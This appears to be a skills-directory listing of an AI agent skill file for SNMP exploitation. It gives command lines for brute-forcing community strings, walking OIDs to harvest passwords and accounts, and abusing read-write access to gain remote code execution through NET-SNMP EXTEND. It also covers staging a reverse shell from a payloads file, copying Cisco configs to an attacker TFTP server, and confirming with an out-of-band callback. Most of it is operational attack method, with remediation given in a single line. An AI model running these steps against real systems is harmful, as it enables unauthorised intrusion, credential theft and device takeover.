SNMP (161/udp) enumeration and exploitation — brute-force v1/v2c community strings, snmpwalk for config/credential/process leakage, and read-write community abuse to RCE (NET-SNMP EXTEND) or device config theft (Cisco TFTP). Tier 1. Use when UDP 161 is open on servers, appliances, or network gear.
Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Snmp Enumeration Exploitation?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-snmp-enumeration-exploitation)
---
name: snmp-enumeration-exploitation
description: SNMP (161/udp) enumeration and exploitation — brute-force v1/v2c community strings, snmpwalk for config/credential/process leakage, and read-write community abuse to RCE (NET-SNMP EXTEND) or device config theft (Cisco TFTP). Tier 1. Use when UDP 161 is open on servers, appliances, or network gear.
---
# SNMP Enumeration & Exploitation
SNMP v1/v2c uses a plaintext "community string" as its only auth. A read string leaks processes (with passwords in cmdlines), users, software and interfaces; a read-write (RW) string is game over — RCE on Linux and config theft on Cisco.
## Trigger phrases
`snmp, 161, community string, snmpwalk, onesixtyone, braa, snmp-check, net-snmp extend, cisco config, public, private`
## Method
1. Confirm: `nmap -sU -p161 --script snmp-info <IP>` (service often UDP-filtered — don't trust one probe).
2. Brute community strings: `onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt <IP>`; also `hydra -P strings.txt <IP> snmp`. Test both RO and RW (`snmpset` to confirm RW: try setting `sysContact.0`).
3. Walk everything: `snmpwalk -v2c -c public <IP>`; readable MIBs after `apt install snmp-mibs-downloader` + comment `mibs :` in `/etc/snmp/snmp.conf`. Fast mass OID brute: `braa public@<IP>:.1.3.6.*`.
4. Targeted dumps: `snmp-check <IP> -c public`; `nmap -sU -p161 --script "snmp* and not snmp-brute" <IP>`.
5. Juicy OIDs: running processes `1.3.6.1.2.1.25.4.2.1.2` (passwords in cmdlines), installed software `25.6.3.1.2`, local accounts `77.1.2.25.1.1`, TCP ports `6.13.1.3`, interfaces, uptime/version.
6. Offline mine: `grep -iE "login|fail|pass|user|trap" *.snmp`; extract emails/usernames for spraying.
## Modern / rare techniques
- **[RW→RCE] NET-SNMP EXTEND (Linux):** with a write community, create an `nsExtendObjects` entry pointing at a command, then read `NET-SNMP-EXTEND-MIB::nsExtendOutputFull` to retrieve output. Enumerate existing extends first: `snmpwalk -v2c -c <rw> <IP> NET-SNMP-EXTEND-MIB::nsExtendObjects`. Reference ${CLAUDE_PLUGIN_ROOT}/payloads/command-exec.md for the command to stage a reverse shell.
- **[RW→config theft] Cisco:** RW string → copy running-config to your TFTP via `ccCopyTable`/`snmpset` trigger, or Metasploit `auxiliary/scanner/snmp/cisco_config_tftp`. Crack type-7 (`ciscot7`) and type-5/8/9 (hashcat) secrets from the config → chain to network-device-attacks.
## Escalation / chaining
RW→RCE gives host foothold; leaked creds feed password-spraying/netexec; Cisco config secrets feed network-device-attacks; discovered hosts/subnets feed pivoting.
## Backend & tooling
Kali/WSL or HexStrike (UDP + raw SNMP). SNMP RCE and config pulls reach back out — route listener/TFTP to the operator host, not the agent container.
## Verification (background, before reporting)
Re-confirm the community string with a second tool (onesixtyone vs snmpwalk). For RW→RCE prove with an OAST/interactsh callback (`snmp extend` running `nslookup <token>.oast.site`) before concluding, and reproduce once.
## Evidence
Community string + access level, snmpwalk excerpts (redact secrets), the extend/config-theft request+output, affected OID/asset, impact. Remediation: SNMPv3 authPriv only, drop v1/v2c, unique strings, management-net ACL, read-only.